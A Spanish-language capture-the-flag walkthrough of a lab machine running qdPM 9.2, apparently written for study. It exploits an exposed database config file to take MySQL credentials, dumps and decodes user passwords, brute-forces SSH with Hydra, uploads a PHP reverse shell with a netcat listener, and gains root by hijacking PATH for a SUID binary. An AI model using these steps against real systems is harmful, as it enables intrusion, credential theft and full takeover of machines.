Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 18:51 CEST
Nmap scan report for 192.168.28.35
Host is up (0.00032s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 0e:77:d9:cb:f8:05:41:b9:e4:45:71:c1:01:ac:da:93 (RSA)
|   256 40:51:93:4b:f8:37:85:fd:a5:f4:d7:27:41:6c:a0:a5 (ECDSA)
|_  256 09:85:60:c5:35:c1:4d:83:76:93:fb:c7:f0:cd:7b:8e (ED25519)
80/tcp    open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: qdPM | Login
3306/tcp  open  mysql   MySQL 8.0.26
|_ssl-date: TLS randomness does not represent time
| mysql-info:
|   Protocol: 10
|   Version: 8.0.26
|   Thread ID: 44
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, SwitchToSSLAfterHandshake, LongPassword,
IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, ConnectWithDatabase, FoundRows,
IgnoreSigpipes, InteractiveClient, SupportsTransactions, SupportsLoadDataLocal,
DontAllowDatabaseTableColumn, LongColumnFlag, Speaks41ProtocolOld, ODBCClient,
SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults,
SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x13v7\x03?j\x0EQ~"0F\x10\x01#\x0D\x17ez\x0F
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.26_Auto_Generated_Server_Certificate
| Not valid before: 2021-09-25T10:47:29
|_Not valid after:  2031-09-23T10:47:29
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq,
X11Probe, afp:
|     Invalid message"
|     HY000
|   LDAPBindReq:
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-
service :
SF-Port33060-TCP:V=7.94SVN%I=7%D=5/18%Time=6648DC97%P=x86_64-pc-linux-gnu%
SF:r(NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x
```

```
SF:0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTT
SF:POptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSV
SF:ersionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTC
SF:P,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\
SF:0")%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\
SF:x01\x10\x88'\x1a\x0fInvalid\x20message"\x05HY000")%r(TerminalServerCoo
SF:kie,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messag
SF:e"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNe
SF:g,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message"\x05
SF:HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDStri
SF:ng,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message
SF:"\x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x
SF:01\x08\x01\x10\x88'\x1a*Parse\x20error\x20unserializing\x20protobuf\x2
SF:0message"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
SF:LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0
SF:\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(Note
SF:sRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1
SF:a\x0fInvalid\x20message"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,3
SF:2,"\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Inva
SF:lid\x20message-frame."\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message"\x05HY000");
MAC Address: 08:00:27:41:AB:87 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.32 ms 192.168.28.35

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds
```

Puerto 80

Cuando pongamos la IP para ver la pagina web, nos aparecera un panel de login, pero si te fijas abajo nos aparece la version con la cual se esta utilizando esa pagina web y en la que contiene la base de datos por lo que buscaremos un exploit...

```
searchsploit qdPM 9.2

#Info de la busqueda
```

Exploit Title	Path
qdPM 9.2 - Cross-site Request Forgery (CSRF)	php/webapps/50854.txt
qdPM 9.2 - Password Exposure (Unauthenticated)	php/webapps/50176.txt

Shellcodes: No Results

```
Nos apareceran 2 resultados, pero el que nos interesa es el segundo ``qdPM 9.2 - Password Exposure (Unauthenticated)`` por lo que lo buscamos en internet para ver el contenido del exploit...
```

Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)

Date: 03/08/2021

Exploit Author: Leon Trappett (thepcn3rd)

Vendor Homepage: https://qdpm.net/

Software Link: https://sourceforge.net/projects/qdpm/files/latest/download

Version: 9.2

Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4

The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.

```
Lo que nos dice aqui es que tiene una vulnerabilidad esta version la cual poniendo esa ruta nos descarga el archivo donde se almacenan contraseñas y usuarios...
```

URL: http://<IP>/core/config/databases.yml

```
Esto nos descargara un archivo que dentro del mismo veremos lo siguiente...
```

all:
doctrine:
class: sfDoctrineDatabase
param:
dsn: 'mysql:dbname=qdpm;host=localhost'
profiler: false
username: qdpmadmin
password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
attributes:
quote_identifier: true

```
Por lo que se puede ver aparece el usuario y contraseña del login para entrara en la base de datos de ``mysql``, pero la contraseña esta codificada en ``php``, por lo que haremos lo siguiente...
```

user = qdpmadmin
password = UcVQCMQk2STVeS6J

```
```shell
mysql -h <IP> -u qdpmadmin -pUcVQCMQk2STVeS6J
```

Con esto ya estariamos dentro de la base de datos de `mysql` como administrador...

Dentro de `mysql` haremos lo siguiente...

```
show databases;

#Info de la base de datos
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| qdpm               |
| staff              |
| sys                |
+--------------------+

#Para utilizar la base de datos de staff
use staff;

#Para ver el contenido de la base de datos elegida
show tables;

#Info de las tablas de esta base de datos
+-----------------+
| Tables_in_staff |
+-----------------+
| department      |
| login           |
| user            |
```
```

```
+-----------------+

select * from login;

#Para ver el contenido de la tabla login
+------+---------+--------------------------+
| id   | user_id | password                 |
+------+---------+--------------------------+
|    1 |       2 | c3VSSkFkR3dMcDhkeTNyRg== |
|    2 |       4 | N1p3VjRxdGc0MmNtVVhHWA== |
|    3 |       1 | WDdNUWtQM1cyOWZld0hkQw== |
|    4 |       3 | REpjZVZ5OThXMjhZN3dMZw== |
|    5 |       5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
+------+---------+--------------------------+

select * from user;

#Para ver el contenido de la tabla user
+------+---------------+--------+--------------------------+
| id   | department_id | name   | role                     |
+------+---------------+--------+--------------------------+
|    1 |             1 | Smith  | Cyber Security Specialist |
|    2 |             2 | Lucas  | Computer Engineer         |
|    3 |             1 | Travis | Intelligence Specialist   |
|    4 |             1 | Dexter | Cyber Security Analyst    |
|    5 |             2 | Meyer  | Genetic Engineer          |
+------+---------------+--------+--------------------------+

select * from department;

#Para ver el contenido de la tabla department
+------+----------+
| id   | name     |
+------+----------+
|    1 | Agent    |
|    2 | Engineer |
+------+----------+
```

Ahora nos haremos 2 diccionarios uno de usuarios y el otro de contraseñas para utilizar un `hydra` para `ssh`...

user.txt

```
Smith
smith
Lucas
lucas
Travis
travis
Dexter
dexter
Meyer
meyer
```

En el siguiente diccionario de contraseñas lo decodificaremos primero ya que esta codificado en Base64 quedando de la siguiente manera...

passwords.txt

```
suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy
```

```
hydra -L users.txt -P passwords.txt ssh://<IP>/ -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-18 20:21:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 50 tasks per 1 server, overall 50 tasks, 50 login tries (l:10/p:5), ~1 try
per task
[DATA] attacking ssh://192.168.28.35:22/
[22][ssh] host: 192.168.28.35   login: travis   password: DJceVy98W28Y7wLg
[22][ssh] host: 192.168.28.35   login: dexter   password: 7ZwV4qtg42cmUXGX
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 2 final worker threads did not complete until
end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-18 20:21:21
```

```
ssh travis@<IP>
```

```
ssh dexter@<IP>
```

Con esto ya estariamos dentro del servidor...

Leemos la flag...

user.txt (flag1)

```
ICA{Secret_Project}
```

Segunda ruta para entrar al servidor por www-data (Reverse Shell)

Si nos dirijimos de nuevo a `mysql` nos vamos dentro de una base de datos llamada `qdpm` nos encontramos muchas tablas, pero entre ellas hay una que es la que contiene el correo y el password del administrador para entrara por el login de la pagina...

```
use qdpm;

#Dentro de la base de datos
show tables;

+----------------------+
| Tables_in_qdpm       |
+----------------------+
| attachments          |
```

```
| configuration         |
| departments           |
| discussions           |
| discussions_comments  |
| discussions_reports   |
| discussions_status    |
| events                |
| extra_fields          |
| extra_fields_list     |
| phases                |
| phases_status         |
| projects              |
| projects_comments     |
| projects_phases       |
| projects_reports      |
| projects_status       |
| projects_types        |
| tasks                 |
| tasks_comments        |
| tasks_groups          |
| tasks_labels          |
| tasks_priority        |
| tasks_status          |
| tasks_types           |
| tickets               |
| tickets_comments      |
| tickets_reports       |
| tickets_status        |
| tickets_types         |
| user_reports          |
| users                 |
| users_groups          |
| versions              |
| versions_status       |
+-----------------------+

#Seleccionamos la tabla de configuration
select * from configuration;

#Info
+----+--------------------------------------+----------------------------------------
----------------------------------------------------------------------------------+
| id | key                                  | value
|
+----+--------------------------------------+----------------------------------------
----------------------------------------------------------------------------------+
|  1 | app_administrator_email              | admin@localhost.com
|
|  2 | app_administrator_password           | $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0
|
|  3 | app_app_name                         | Workspace
|
|  4 | app_app_short_name                   | qdPM
|
|  5 | app_email_label                      | qdPM -
```

6	app_default_skin	qdPM
7	sf_default_timezone	America/New_York
8	sf_default_culture	en
9	app_rows_per_page	15
10	app_custom_short_date_format	M d, Y
11	app_custom_logn_date_format	M d, Y H:i
12	app_allow_adit_tasks_comments_date	off
13	app_show_menu_icons	off
14	app_show_footer_links	off
15	app_tasks_fields_tasks_version	off
16	app_tasks_fields_tasks_phase	on
17	app_tasks_fields_tasks_group	off
18	app_tasks_fields_priority	on
19	app_tasks_fields_label	on
20	app_tasks_fields_id	off
21	app_tasks_fields_name	on
22	app_tasks_fields_status	on
23	app_tasks_fields_assigned_to	on
24	app_tasks_fields_created_by	off
25	app_tasks_fields_estimated_time	on
26	app_tasks_fields_start_date	off
27	app_tasks_fields_due_date	on
28	app_tasks_fields_progress	off
29	app_tasks_fields_created_at	off
30	app_use_skins	on
31	app_use_related_tasks	on
32	app_use_public_tickets	on

33	app_public_tickets_show_login_link	off
34	app_public_tickets_allow_attachments	on
35	app_use_project_phases	on
36	app_use_project_versions	on
37	app_use_project_discussions	on
38	app_use_tasks_groups	on
39	app_use_tasks_timetracker	on
40	app_use_fck_editor	on
41	app_notify_all_project_team	off
42	app_notify_all_customers	off
43	app_use_single_email	off
44	app_single_email_addres_from	
45	app_single_name_from	
46	app_use_smtp	off
47	app_smtp_server	
48	app_smtp_port	25
49	app_smtp_encryption	NULL
50	app_smtp_login	
51	app_smtp_pass	
52	app_use_ldap_login	off
53	app_ldap_host	
54	app_ldap_port	
55	app_ldap_base_dn	
56	app_ldap_version	3
57	app_use_email_notification	on
58	app_show_user_email	off
59	app_show_user_photo	on
60	app_tasks_fields_type	off

```
|
| 61 | app_login_page_heading               | Welcome to qdPM
|
| 62 | app_login_page_content               |
|
| 63 | app_new_user_email_subject           | NULL
|
| 64 | app_new_user_email_body              |
|
| 65 | app_amount_previous_comments         | 2
|
| 66 | app_rows_limit                       | 150
|
| 67 | app_tasks_columns_list               |
TasksGroups,Versions,ProjectsPhases,TasksPriority,Name,TasksStatus,TasksTypes,Assigne
dTo,EstimatedTime,WorkHours,DueDate |
| 68 | app_send_email_to_owner              | off
|
| 69 | app_public_tickets_use_antispam      | on
|
| 70 | app_app_logo                         |
|
| 71 | app_use_javascript_dropdown          | on
|
+----+--------------------------------------+-----------------------------------------
-------------------------------------------------------------------------------+

#Cambiar el password del admin utilizando la misma codificacion
UPDATE configuration SET value = '<PASSWORD>' WHERE `key` =
'app_administrator_password';
```

En mi caso utilice una pagina para codificar la contraseña con la misma codificacion que utiliza `mysql`...

URL = https://www.useotools.com/wordpress-password-hash-generator/output

En mi caso codifique la palabra `admin` y se tendria que ver algo tal que asi...

```
admin = $P$BxFuudE/bj07y8M7fIAS2VsWHUj34U.
```

Una vez hechos estos cambios, nos dirigimos a la pagina web e ingresamos las credenciales...

```
User = admin@localhost.com
Password = $P$BxFuudE/bj07y8M7fIAS2VsWHUj34U.
```

Una vez dentro creamos un usuario de rango `Administrador` una vez hecho esto, nos metemos con ese usuario, estando dentro aparecera otras opciones que tocar...

Creamos un nuevo proyecto en el que adjuntamos un archivo con una reverse shell, seguidamente en la pagina web nos vamos a la URL de `/uploads/attachments/` y ahi estaria nuestro archivo de `.php` subido...

```
nc -lvnp <PORT>
```

Una vez estando a la escucha y clicando el archivo tendriamos una shell de `www-data`...

sanitizamos la shell...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

De aqui se puede escalar a los usuarios que ya conseguimos anteriormente por lo que se puede hacer de las dos maneras...

Escalada de privilegios

Si vemos los permisos SUID que tenemos...

```
find / -type f -perm -4000 -ls 2>/dev/null
```

Info:

```
/opt/get_access
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

Nos aparece un binario que no suele aparecer en estos comandos que es el siguiente `/opt/get_access`, si lo ejecutamos por lo que vemos nos aparece como un error de un servidor y poco mas, pero si le tiramos el siguiente comando...

```
strings /opt/get_access
```

Info:

```
/lib64/ld-linux-x86-64.so.2
setuid
socket
puts
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
```

```
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
cat /root/system.info
Could not create socket to access to the system.
All services are disabled. Accessing to the system is allowed only within working
hours.
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
get_access.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
system@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
__cxa_finalize@GLIBC_2.2.5
socket@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
```

```
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
```

Cuando se ejecuta, como que ejecuta el siguiente comando `cat /root/system.info` por lo que podemos escalar desde ahi haciendo lo siguiente...

```
echo "/bin/sh" > /tmp/cat

chmod +x /tmp/cat

export PATH=/tmp:$PATH

/opt/get_access
```

Con esto ya seriamos `root` lo que estamos haciendo aqui es que estamos creando un `cat` en `/tmp/` con una shell y exportamos un `$PATH` en la ubicacion de `/tmp/` para que cuando ejecutemos ese binario ya que ejecuta un `cat` lo ejecute pero en el `/tmp/` con ese `cat` que creamos y como eso tiene permisos de `SUID` lo va a ejecutar como `root` por lo que la shell que nos devuelve va a ser autenticada como `root`...

Leemos la flag de `root`...

root.txt (flag2)

```
ICA{Next_Generation_Self_Renewable_Genetics}
```